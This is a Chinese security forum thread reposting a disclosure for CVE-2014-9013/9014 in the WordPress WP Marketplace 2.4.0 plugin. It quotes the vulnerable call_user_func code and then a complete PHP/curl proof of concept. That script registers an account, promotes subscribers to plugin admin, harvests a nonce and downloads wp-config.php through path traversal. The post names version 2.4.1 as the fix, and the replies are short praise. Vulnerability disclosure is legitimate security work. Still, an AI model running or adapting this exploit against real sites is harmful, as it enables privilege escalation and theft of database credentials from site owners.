查看: 33122|回复: 39

Wordpress WP Marketplace 2.4.0任意文件下载

[复制链接]
  • TA的每日心情

    前天 20:06
  • 签到天数: 1628 天

    [LV.Master]伴坛终老

    发表于 2015-3-23 14:07:54 | 显示全部楼层 |阅读模式
    [Python] 纯文本查看 复制代码
    # Exploit Title: WP Marketplace 2.4.0 Arbitrary File Download
    # Date: 26-10-2014
    # Software Link: [url]https://wordpress.org/plugins/wpmarketplace/[/url]
    # Exploit Author: Kacper Szurek
    # Contact: [url]http://twitter.com/KacperSzurek[/url]
    # Website: [url]http://security.szurek.pl/[/url]
    # Category: webapps
    # CVE: CVE-2014-9013 and CVE-2014-9014
     
    1. Description
     
    Anyone can run user defined function because of call_user_func.
     
    File: wpmarketplace\libs\cart.php
     
    function ajaxinit(){
    if(isset($_POST['action']) && $_POST['action']=='wpmp_pp_ajax_call'){
            if(function_exists($_POST['execute']))
                    call_user_func($_POST['execute'],$_POST);
            else
                    echo __("function not defined!","wpmarketplace");
            die();
            }
    }
     
    [url]http://security.szurek.pl/wp-marketplace-240-arbitrary-file-download.html[/url]
     
    2. Proof of Concept
     
    $file =  '../../../wp-config.php';
    $url = 'http://wordpress-url/';
    $user = 'userlogin';
    $email = 'useremail@email.email';
    $pass = 'password';
    $cookie = "/cookie.txt";
     
    $ckfile = dirname(__FILE__) . $cookie;
    $cookie = fopen($ckfile, 'w') or die("Cannot create cookie file");
     
    // Register
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url.'?checkout_register=register');
    curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch,
        CURLOPT_POSTFIELDS,
        array(
            'register_form' => 'register',
            'reg[user_login]' => $user,
            'reg[user_email]' => $email,
            'reg[user_pass]' => $pass
        ));
    $content = curl_exec($ch);
    if (!preg_match("/success/i", $content)) {
        die("Cannot register");
    }
    // Log in
    curl_setopt($ch, CURLOPT_URL, $url.'wp-login.php');
    curl_setopt($ch,
        CURLOPT_POSTFIELDS,
        array(
            'log' => $user,
            'pwd' => $pass,
            'wp-submit' => 'Log%20In'
        ));
    $content = curl_exec($ch);
    if (!preg_match('/adminmenu/i', $content)) {
        die("Cannot login");
    }
    // Add subscriber as plugin admin
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch,
        CURLOPT_POSTFIELDS,
        array(
            'action' => 'wpmp_pp_ajax_call',
            'execute' => 'wpmp_save_settings',
            '_wpmp_settings[user_role][]' => 'subscriber'
        ));
    $content = curl_exec($ch);
    if (!preg_match('/Settings Saved Successfully/i', $content)) {
        die("Cannot set role");
    }
    // Request noonce
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch,
        CURLOPT_POSTFIELDS,
        array(
            'action' => 'wpmp_pp_ajax_call',
            'execute' => 'wpmp_front_add_product'
        ));
    $content = curl_exec($ch);
    preg_match('/name="__product_wpmp" value="([^"]+)"/i', $content, $nonce);
    if (strlen($nonce[1]) < 2) {
        die("Cannot get nonce");
    }
    // Set file to download
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch,
        CURLOPT_POSTFIELDS,
        array(
            '__product_wpmp' => $nonce[1],
            'post_type' => 'wpmarketplace',
            'id' => '123456',
            'wpmp_list[base_price]' => '0',
            'wpmp_list[file][]' => $file
        ));
    $content = curl_exec($ch);
    header("Location: ".$url."?wpmpfile=123456");
     
    3. Solution:
     
    Update to version 2.4.1
     
    [url]https://downloads.wordpress.org/plugin/wpmarketplace.2.4.1.zip[/url]
      #
    回复

    使用道具 举报

  • TA的每日心情
    开心
    2019-8-2 09:32
  • 签到天数: 227 天

    [LV.7]常住居民III

    发表于 2015-3-23 22:56:07 | 显示全部楼层
    技术有待提高!还看不懂呢加油学会哇漏洞!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-29 00:55:19 | 显示全部楼层
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2015-10-24 10:52
  • 签到天数: 7 天

    [LV.3]偶尔看看II

    发表于 2015-6-29 05:42:44 | 显示全部楼层
    还是不错的哦,顶了
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-29 07:14:22 | 显示全部楼层
    学习学习技术,加油!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-29 08:02:19 | 显示全部楼层
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-30 22:42:09 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-7-1 05:45:39 | 显示全部楼层
    支持,看起来不错呢!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-7-1 15:47:24 | 显示全部楼层
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-7-1 23:38:50 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-11-15 06:47 , Processed in 0.033514 second(s), 14 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部